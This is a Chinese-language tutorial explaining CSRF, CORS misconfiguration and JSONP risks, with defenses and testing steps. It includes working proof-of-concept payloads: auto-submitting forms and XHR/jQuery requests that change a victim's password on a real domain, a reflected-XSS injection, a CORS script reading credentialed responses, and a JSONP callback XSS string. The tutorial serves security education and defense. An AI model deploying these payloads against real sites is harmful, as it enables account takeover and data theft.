珂技系列之一篇就够了——CSRF-CORS-JSONP
字数 1723 2025-08-14 12:04:14
CSRF、CORS与JSONP安全机制详解
一、CSRF(跨站请求伪造)
1. CSRF本质与原理
CSRF(Cross-Site Request Forgery)是一种利用用户已登录状态,通过伪造用户请求执行非预期操作的攻击方式。
核心原理:
- 用户已登录目标网站并保持会话
- 攻击者诱导用户访问恶意页面
- 恶意页面自动向目标网站发送请求
- 浏览器自动携带用户的cookie完成认证
- 目标网站误认为是用户合法操作
2. CSRF攻击场景
常见攻击目标:
- 修改密码功能
- 发布/删除内容
- 点赞/关注操作
- 新增管理员账户
- 转账等金融操作
3. CSRF防御方法
有效防御措施:
- 关键操作要求输入原密码
- 敏感操作增加图形验证码
- 使用CSRF Token(随机不可预测值)
- 将认证信息放入HTTP头部而非cookie
- 检查Referer头部(不完全可靠)
4. CSRF攻击类型与利用方式
GET型CSRF
<!-- 隐蔽的GET请求 -->
<!-- 触发反射XSS的GET请求 -->
<script>
window.location.href="https://www.baidu.com/changepwd.php?password=<video src onerror=alert(1)>"
</script>
POST型CSRF
<!-- 基础表单提交 -->
<form action="http://baidu.com/changepwd.php" method="POST">
<input type="hidden" name="password" value="123456" />
</form>
<script>document.forms[0].submit();</script>
<!-- 使用XMLHttpRequest(更隐蔽) -->
<script>
function csrf() {
var xhr = new XMLHttpRequest();
payload = "password=123456";
xhr.open("POST","http://baidu.com/changepwd.php", true);
xhr.withCredentials = true;
xhr.send(payload);
}
</script>
<!-- 使用jQuery简化 -->
<script src="https://www.w3school.com.cn/jquery/jquery-1.11.1.min.js"></script>
<script>
$.ajax({
type:"POST",
url:"http://baidu.com/changepwd.php",
data:"password=123456"
});
</script>
二、CORS(跨域资源共享)
1. CORS基本原理
CORS是现代Web应用中解决跨域问题的机制,依赖于HTTP头部协商。
关键头部:
Origin: 请求来源域Access-Control-Request-Headers: 预检请求中声明实际请求将携带的头部Access-Control-Request-Method: 预检请求中声明实际请求将使用的方法Access-Control-Allow-Origin: 服务器允许的源Access-Control-Allow-Headers: 服务器允许的头部Access-Control-Allow-Methods: 服务器允许的方法Access-Control-Allow-Credentials: 是否允许携带凭证(如cookie)
2. CORS配置模式
1) 动态反射Origin(最危险)
header('Access-Control-Allow-Origin:'.$_SERVER["HTTP_ORIGIN"]);
2) 通配符允许所有域(中等风险)
header('Access-Control-Allow-Origin: *');
3) 白名单指定域(最安全)
header('Access-Control-Allow-Origin: http://luoke.cn:81');
3. CORS攻击场景
攻击条件:
- 服务器配置不当(如反射Origin或通配符)
- 接口返回敏感信息
- 攻击者能诱导用户访问恶意页面
示例攻击代码:
<script>
function cors() {
var xhr = new XMLHttpRequest();
payload = '{"id":"1"}';
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
alert(this.responseText);
}
};
xhr.open("POST","http://luoke.cn:81/json.php", true);
xhr.setRequestHeader("Content-type","application/json; charset=utf-8");
xhr.send(payload);
}
</script>
4. CORS安全实践
安全配置建议:
- 严格限制
Access-Control-Allow-Origin为可信域 - 避免反射Origin头部
- 限制允许的HTTP方法和头部
- 敏感操作需要额外验证(如CSRF Token)
- 避免
Access-Control-Allow-Credentials: true与通配符Origin同时使用
三、JSONP安全机制
1. JSONP原理
JSONP是利用<script>标签不受同源策略限制的特性实现的跨域通信方案。
典型实现:
<script>
function jsonpCallback(json) {
alert(JSON.stringify(json));
}
</script>
<script src="http://api.example.com/data?callback=jsonpCallback"></script>
2. JSONP安全风险
主要漏洞:
- 敏感信息泄露(通过callback返回)
- XSS漏洞(callback参数未过滤)
- CSRF攻击(自动携带cookie)
XSS示例:
http://api.example.com/data?callback=<script>alert(1)</script>
3. JSONP安全防护
防护措施:
- 严格过滤callback参数(仅允许字母数字)
- 设置Content-Type为
application/javascript - 限制返回数据的敏感性
- 添加CSRF Token验证
四、综合安全建议
- 关键操作多重验证:密码修改等敏感操作应结合CSRF Token、原密码验证和图形验证码
- CORS严格配置:避免反射Origin,使用精确白名单而非通配符
- JSONP谨慎使用:现代应用建议使用CORS替代JSONP
- 防御深度结合:结合SameSite Cookie、Referer检查等机制
- 定期安全审计:检查接口的跨域配置和敏感信息暴露
五、测试与验证方法
-
CSRF测试:
- 检查关键操作是否可被伪造
- 验证CSRF防护机制是否存在
-
CORS测试:
- 修改Origin头部观察响应
- 检查预检请求(OPTIONS)的响应
- 尝试绕过白名单(子域、相似域名等)
-
JSONP测试:
- 查找callback参数
- 测试XSS注入可能性
- 检查返回数据敏感性
通过全面理解这些机制及其安全风险,开发者可以构建更安全的Web应用,有效防御各类跨域攻击。